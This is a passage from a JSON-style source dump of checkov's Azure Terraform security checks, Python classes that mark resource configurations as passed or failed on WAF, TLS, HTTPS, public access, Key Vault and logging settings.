    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass FrontDoorWAFACLCVE202144228(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Front Door WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell\"\n        id = \"CKV_AZURE_133\"\n        supported_resources = [\"azurerm_frontdoor_firewall_policy\"]\n        categories = [CheckCategories.APPLICATION_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"managed_rule\"]\n        managed_rules = conf.get(\"managed_rule\") or []\n        for idx_managed_rule, managed_rule in enumerate(force_list(managed_rules)):\n            self.evaluated_keys = [f\"managed_rule/[{idx_managed_rule}]/type\"]\n            if managed_rule and managed_rule.get(\"type\") in ([\"DefaultRuleSet\"], [\"Microsoft_DefaultRuleSet\"]):\n                rule_overrides = managed_rule.get(\"override\") or []\n                for idx_override, rule_override in enumerate(force_list(rule_overrides)):\n                    self.evaluated_keys.append(\n                        f\"managed_rule/[{idx_managed_rule}]/override/[{idx_override}]/rule_group_name\"\n                    )\n                    if rule_override.get(\"rule_group_name\") == [\"JAVA\"]:\n                        rules = rule_override.get(\"rule\") or []\n                        for idx_rule, rule in enumerate(force_list(rules)):\n                            self.evaluated_keys.extend(\n                                [\n                                    f\"managed_rule/[{idx_managed_rule}]/override/[{idx_override}]/rule/[{idx_rule}]/rule_id\",\n                                    f\"managed_rule/[{idx_managed_rule}]/override/[{idx_override}]/rule/[{idx_rule}]/enabled\",\n                                    f\"managed_rule/[{idx_managed_rule}]/override/[{idx_override}]/rule/[{idx_rule}]/action\",\n                                ]\n                            )\n                            if rule.get(\"rule_id\") == [\"944240\"]:\n                                if rule.get(\"enabled\") != [True]:\n                                    return CheckResult.FAILED\n                                if rule.get(\"action\") not in ([\"Block\"], [\"Redirect\"]):\n                                    return CheckResult.FAILED\n\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = FrontDoorWAFACLCVE202144228()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/FrontdoorUseWAFMode.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass FrontdoorUseWAFMode(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that Azure Front Door uses WAF in \\\"Detection\\\" or \\\"Prevention\\\" modes\"\n        id = \"CKV_AZURE_123\"\n        supported_resources = ['azurerm_frontdoor_firewall_policy']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'policy_settings' in conf and conf['policy_settings'][0]:\n            policy_settings = conf['policy_settings'][0]\n            if 'enabled' in policy_settings and not policy_settings['enabled'][0]:\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"policy_settings/[0]/enable\"]\n\n\ncheck = FrontdoorUseWAFMode()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/FunctionAppDisallowCORS.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass FunctionAppDisallowCORS(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure function apps are not accessible from all regions\"\n        id = \"CKV_AZURE_62\"\n        supported_resources = ['azurerm_function_app']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_attribute_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return 'site_config/[0]/cors/[0]/allowed_origins'\n\n    def get_forbidden_values(self):\n        return [['*']]\n\n\ncheck = FunctionAppDisallowCORS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/FunctionAppEnableLogging.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass FunctionAppEnableLogging(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure function app builtin logging is enabled\"\n        id = \"CKV_AZURE_159\"\n        supported_resources = ['azurerm_function_app', 'azurerm_function_app_slot']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return 'enable_builtin_logging'\n\n\ncheck = FunctionAppEnableLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/FunctionAppHttpVersionLatest.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass FunctionAppHttpVersionLatest(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that 'HTTP Version' is the latest, if used to run the Function app\"\n        id = \"CKV_AZURE_67\"\n        supported_resources = ['azurerm_function_app', 'azurerm_function_app_slot']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'site_config/[0]/http2_enabled'\n\n\ncheck = FunctionAppHttpVersionLatest()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py",
    "content": "from typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass FunctionAppMinTLSVersion(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        The minimum supported TLS version for the function app.\n        Defaults to 1.2 for new function apps.\n        field name is:\n         - min_tls_version in azurerm_function_app, azurerm_function_app_slot.\n         - minimum_tls_version in newer resources (with linux/windows).\n        \"\"\"\n        name = \"Ensure Function app is using the latest version of TLS encryption\"\n        id = \"CKV_AZURE_145\"\n        supported_resources = ['azurerm_function_app', 'azurerm_linux_function_app', 'azurerm_windows_function_app',\n                               'azurerm_function_app_slot', 'azurerm_linux_function_app_slot',\n                               'azurerm_windows_function_app_slot']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        if self.entity_type in (\"azurerm_function_app\", \"azurerm_function_app_slot\"):\n            return \"site_config/[0]/min_tls_version\"\n        else:\n            return \"site_config/[0]/minimum_tls_version\"\n\n    def get_expected_value(self) -> float:\n        return 1.2\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"1.2\", 1.2, \"1.3\", 1.3]\n\n\ncheck = FunctionAppMinTLSVersion()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass FunctionAppPublicAccessDisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Function App public network access is disabled\"\n        id = \"CKV_AZURE_221\"\n        supported_resources = (\n            \"azurerm_linux_function_app\",\n            \"azurerm_linux_function_app_slot\",\n            \"azurerm_windows_function_app\",\n            \"azurerm_windows_function_app_slot\",\n        )\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"public_network_access_enabled\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = FunctionAppPublicAccessDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass FunctionAppsAccessibleOverHttps(BaseResourceCheck):\n\n    def __init__(self) -> None:\n        name = \"Ensure that Function apps is only accessible over HTTPS\"\n        id = \"CKV_AZURE_70\"\n        supported_resources = ['azurerm_function_app', 'azurerm_linux_function_app', 'azurerm_windows_function_app',\n                               'azurerm_function_app_slot', 'azurerm_linux_function_app_slot',\n                               'azurerm_windows_function_app_slot']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # default=false for https_only\n        if 'https_only' not in conf.keys():\n            return CheckResult.FAILED\n\n        https_only = conf.get('https_only')[0]\n        if not https_only:\n            self.evaluated_keys = ['https_only']\n            return CheckResult.FAILED\n\n        # relevant for linux/windows resources\n        if 'auth_settings_v2' in conf.keys():\n            auth_settings_v2 = conf['auth_settings_v2'][0]\n\n            # default=true for require_https\n            if 'require_https' not in auth_settings_v2:\n                return CheckResult.PASSED\n\n            require_https = auth_settings_v2.get('require_https')[0]\n            if not require_https:\n                self.evaluated_keys = ['auth_settings_v2', 'auth_settings_v2/[0]/require_https']\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = FunctionAppsAccessibleOverHttps()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/FunctionAppsEnableAuthentication.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass FunctionAppsEnableAuthentication(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure that function apps enables Authentication\"\n        id = \"CKV_AZURE_56\"\n        supported_resources = ['azurerm_function_app']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'auth_settings/[0]/enabled'\n\n\ncheck = FunctionAppsEnableAuthentication()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/GithubActionsOIDCTrustPolicy.py",
    "content": "from typing import Dict, Any, List\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.common.util.oidc_utils import gh_abusable_claims, gh_repo_regex\n\n\nclass AzureGithubActionsOIDCTrustPolicy(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Azure GitHub Actions OIDC trust policy is configured securely\"\n        id = \"CKV_AZURE_249\"\n        supported_resources = [\n            \"azuread_application_federated_identity_credential\",\n        ]\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def validate_subject_claim(self, subject: str) -> bool:\n        \"\"\"Validates the subject claim for security concerns\"\"\"\n        if not subject:\n            return False\n\n        # If no colons - invalid format for GitHub Actions claims\n        if \":\" not in subject:\n            return False\n\n        claim_parts = subject.split(\":\")\n\n        # Check for wildcards in critical positions\n        if claim_parts[0] == \"*\" or claim_parts[1] == \"*\":\n            return False\n\n        # Check for abusable claims\n        if claim_parts[0] in gh_abusable_claims:\n            return False\n\n        # Validate repo format if repo claim is used\n        if claim_parts[0] == \"repo\":\n            if not gh_repo_regex.match(claim_parts[1]):\n                return False\n\n        return True\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        \"\"\"Scans the configuration for Azure GitHub Actions OIDC trust policy\"\"\"\n        try:\n            condition = force_list(conf.get(\"subject\", [None]))[0]\n            if not condition:\n                return CheckResult.FAILED\n\n            # We should have colon delimited subject claim\n            if \":\" not in condition or condition == \"*\":\n                return CheckResult.FAILED\n\n            # At this point we know we have a colon delimited subject claim, so length should be at least 2\n            split_condition = condition.split(\":\")\n\n            # First check -> wildcards\n            if \"*\" == split_condition[0] or \"*\" == split_condition[1]:\n                return CheckResult.FAILED\n\n            # Second check -> abusable claims\n            if split_condition[0] in gh_abusable_claims:\n                return CheckResult.FAILED\n\n            # Third check -> repo format\n            if split_condition[0] == \"repo\" and not gh_repo_regex.match(split_condition[1]):\n                return CheckResult.FAILED\n\n            return CheckResult.PASSED\n\n        except Exception:\n            return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"identity_federation/subject\", \"subject\"]\n\n\ncheck = AzureGithubActionsOIDCTrustPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/IoTNoPublicNetworkAccess.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass IoTNoPublicNetworkAccess(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Azure IoT Hub disables public network access\"\n        id = \"CKV_AZURE_108\"\n        supported_resources = ['azurerm_iothub']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return 'public_network_access_enabled'\n\n    def get_expected_value(self):\n        return False\n\n\ncheck = IoTNoPublicNetworkAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/KeyBackedByHSM.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass KeyBackedByHSM(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that key vault key is backed by HSM\"\n        id = \"CKV_AZURE_112\"\n        supported_resources = ['azurerm_key_vault_key']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'key_type'\n\n    def get_expected_value(self):\n        return 'RSA-HSM'\n\n    def get_expected_values(self):\n        return [self.get_expected_value(), 'EC-HSM']\n\n\ncheck = KeyBackedByHSM()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/KeyExpirationDate.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass KeyExpirationDate(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that the expiration date is set on all keys\"\n        id = \"CKV_AZURE_40\"\n        supported_resources = ['azurerm_key_vault_key']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'expiration_date'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = KeyExpirationDate()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/KeyVaultDisablesPublicNetworkAccess.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass KeyVaultDisablesPublicNetworkAccess(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Azure Key Vault disables public network access\"\n        id = \"CKV_AZURE_189\"\n        supported_resources = ('azurerm_key_vault',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"public_network_access_enabled\"\n\n    def get_expected_value(self):\n        return False\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        \"\"\"\n        KeyVaultDisablesPublicNetworkAccess unique logic.\n        public_network_access_enabled default value is True (when creating it)\n        If it False - check pass\n        Otherwise, we check that ip rules configured inside network_acls.\n\n        \"\"\"\n        conf_value = conf.get(self.get_inspected_key())\n        conf_value = conf_value[0] if isinstance(conf_value, list) else conf_value\n        if self.get_expected_value() == conf_value:\n            return CheckResult.PASSED\n        if conf.get(\"network_acls\"):\n            network_acls = conf.get(\"network_acls\")\n            if isinstance(network_acls, list):\n                for network_acl in network_acls:\n                    if isinstance(network_acl, dict):\n                        ip_rules = network_acl.get(\"ip_rules\")\n                        # Get first element in ip_rules (as parser wrap it with list).\n                        ip_rules = ip_rules[0] if ip_rules and isinstance(ip_rules, list) else ip_rules\n                        if ip_rules:\n                            return CheckResult.PASSED\n                        virtual_network_subnet_ids = network_acl.get(\"virtual_network_subnet_ids\")\n                        # Get first element in virtual_network_subnet_ids (as parser wrap it with list).\n                        virtual_network_subnet_ids = virtual_network_subnet_ids[0] \\\n                            if virtual_network_subnet_ids and isinstance(virtual_network_subnet_ids, list) \\\n                            else virtual_network_subnet_ids\n                        if virtual_network_subnet_ids:\n                            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = KeyVaultDisablesPublicNetworkAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/KeyVaultEnablesFirewallRulesSettings.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass KeyVaultEnablesFirewallRulesSettings(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that key vault allows firewall rules settings\"\n        id = \"CKV_AZURE_109\"\n        supported_resources = ['azurerm_key_vault']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"network_acls/[0]/default_action\"\n\n    def get_expected_value(self):\n        return \"Deny\"\n\n\ncheck = KeyVaultEnablesFirewallRulesSettings()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/KeyVaultEnablesPurgeProtection.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass KeyVaultEnablesPurgeProtection(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that key vault enables purge protection\"\n        id = \"CKV_AZURE_110\"\n        supported_resources = ['azurerm_key_vault']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"purge_protection_enabled\"\n\n\ncheck = KeyVaultEnablesPurgeProtection()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/KeyVaultEnablesSoftDelete.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.enums import CheckResult\n\n\nclass KeyVaultEnablesSoftDelete(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that key vault enables soft delete\"\n        id = \"CKV_AZURE_111\"\n        supported_resources = ['azurerm_key_vault']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return \"soft_delete_enabled\"\n\n\ncheck = KeyVaultEnablesSoftDelete()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/KeyvaultRecoveryEnabled.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\nfrom typing import List\n\n\nclass KeyVaultRecoveryEnabled(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure the key vault is recoverable\"\n        id = \"CKV_AZURE_42\"\n        supported_resources = ['azurerm_key_vault']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'purge_protection_enabled' in conf and conf['purge_protection_enabled'][0] and \\\n                ('soft_delete_enabled' not in conf or conf['soft_delete_enabled'][0]):\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['purge_protection_enabled', 'soft_delete_enabled']\n\n\ncheck = KeyVaultRecoveryEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/KubernetesClusterHTTPApplicationRouting.py",
    "content": "from typing import List, Any\n\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass KubernetesClusterHTTPApplicationRouting(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Azure AKS cluster HTTP application routing is disabled\"\n        id = \"CKV_AZURE_246\"\n        supported_resources = ('azurerm_kubernetes_cluster',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"http_application_routing_enabled\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [True]\n\n\ncheck = KubernetesClusterHTTPApplicationRouting()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/LinuxVMUsesSSH.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass LinuxVMUsesSSH(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        If enabled, Uses SSH\n        \"\"\"\n        name = \"Ensure linux VM enables SSH with keys for secure communication\"\n        id = \"CKV_AZURE_178\"\n        supported_resources = (\"azurerm_linux_virtual_machine\", \"azurerm_linux_virtual_machine_scale_set\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"admin_ssh_key/[0]/public_key\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = LinuxVMUsesSSH()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/MLCCLADisabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MLCCLADisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        # This is the full description of your check\n        description = \"Ensure Machine Learning Compute Cluster Local Authentication is disabled\"\n\n        # This is the Unique ID for your check\n        id = \"CKV_AZURE_142\"\n\n        # These are the terraform objects supported by this check (ex: aws_iam_policy_document)\n        supported_resources = ('azurerm_machine_learning_compute_cluster',)\n\n        # Valid CheckCategories are defined in checkov/common/models/enums.py\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"local_auth_enabled\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = MLCCLADisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/MLComputeClusterMinNodes.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MLComputeClusterMinNodes(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Machine Learning Compute Cluster Minimum Nodes Set To 0\"\n        id = \"CKV_AZURE_150\"\n        supported_resources = ['azurerm_machine_learning_compute_cluster']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"scale_settings/[0]/min_node_count\"\n\n    def get_expected_value(self):\n        return 0\n\n\ncheck = MLComputeClusterMinNodes()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/MLPublicAccess.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass MLPublicAccess(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        # This is the full description of your check\n        description = \"Ensure that Public Access is disabled for Machine Learning Workspace\"\n\n        # This is the Unique ID for your check\n        id = \"CKV_AZURE_144\"\n\n        # These are the terraform objects supported by this check (ex: aws_iam_policy_document)\n        supported_resources = ('azurerm_machine_learning_workspace',)\n\n        # Valid CheckCategories are defined in checkov/common/models/enums.py\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=description, id=id, categories=categories,\n                         supported_resources=supported_resources, missing_attribute_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return \"public_network_access_enabled\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [True]\n\n\ncheck = MLPublicAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/MSSQLServerAuditPolicyLogMonitor.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MSSQLServerAuditPolicyLogMonitor(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure default Auditing policy for a SQL Server is configured to capture and retain the activity logs\"\n        id = \"CKV_AZURE_156\"\n        supported_resources = ['azurerm_mssql_database_extended_auditing_policy']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self):\n        return \"log_monitoring_enabled\"\n\n\ncheck = MSSQLServerAuditPolicyLogMonitor()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/MSSQLServerMinTLSVersion.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MSSQLServerMinTLSVersion(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure MSSQL is using the latest version of TLS encryption\"\n        id = \"CKV_AZURE_52\"\n        supported_resources = ['azurerm_mssql_server']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"minimum_tls_version\"\n\n    def get_expected_value(self):\n        return \"1.2\"\n\n\ncheck = MSSQLServerMinTLSVersion()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/MariaDBGeoBackupEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MariaDBGeoBackupEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that MariaDB server enables geo-redundant backups\"\n        id = \"CKV_AZURE_129\"\n        supported_resources = (\"azurerm_mariadb_server\",)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"geo_redundant_backup_enabled\"\n\n\ncheck = MariaDBGeoBackupEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/MariaDBPublicAccessDisabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MariaDBPublicAccessDisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure 'public network access enabled' is set to 'False' for MariaDB servers\"\n        id = \"CKV_AZURE_48\"\n        supported_resources = (\"azurerm_mariadb_server\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"public_network_access_enabled\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = MariaDBPublicAccessDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/MariaDBSSLEnforcementEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MariaDBSSLEnforcementEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure 'Enforce SSL connection' is set to 'ENABLED' for MariaDB servers\"\n        id = \"CKV_AZURE_47\"\n        supported_resources = ['azurerm_mariadb_server']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'ssl_enforcement_enabled'\n\n\ncheck = MariaDBSSLEnforcementEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/MonitorLogProfileCategories.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\nfrom typing import List\n\n\nclass MonitorLogProfileRetentionDays(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure audit profile captures all the activities\"\n        id = \"CKV_AZURE_38\"\n        supported_resources = ['azurerm_monitor_log_profile']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        categories = ['Write', 'Delete', 'Action']\n        res_categories = conf.get('categories')\n        if isinstance(res_categories, list) and res_categories and \\\n                all(category in conf['categories'][0] for category in categories):\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['categories']\n\n\ncheck = MonitorLogProfileRetentionDays()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/MonitorLogProfileRetentionDays.py",
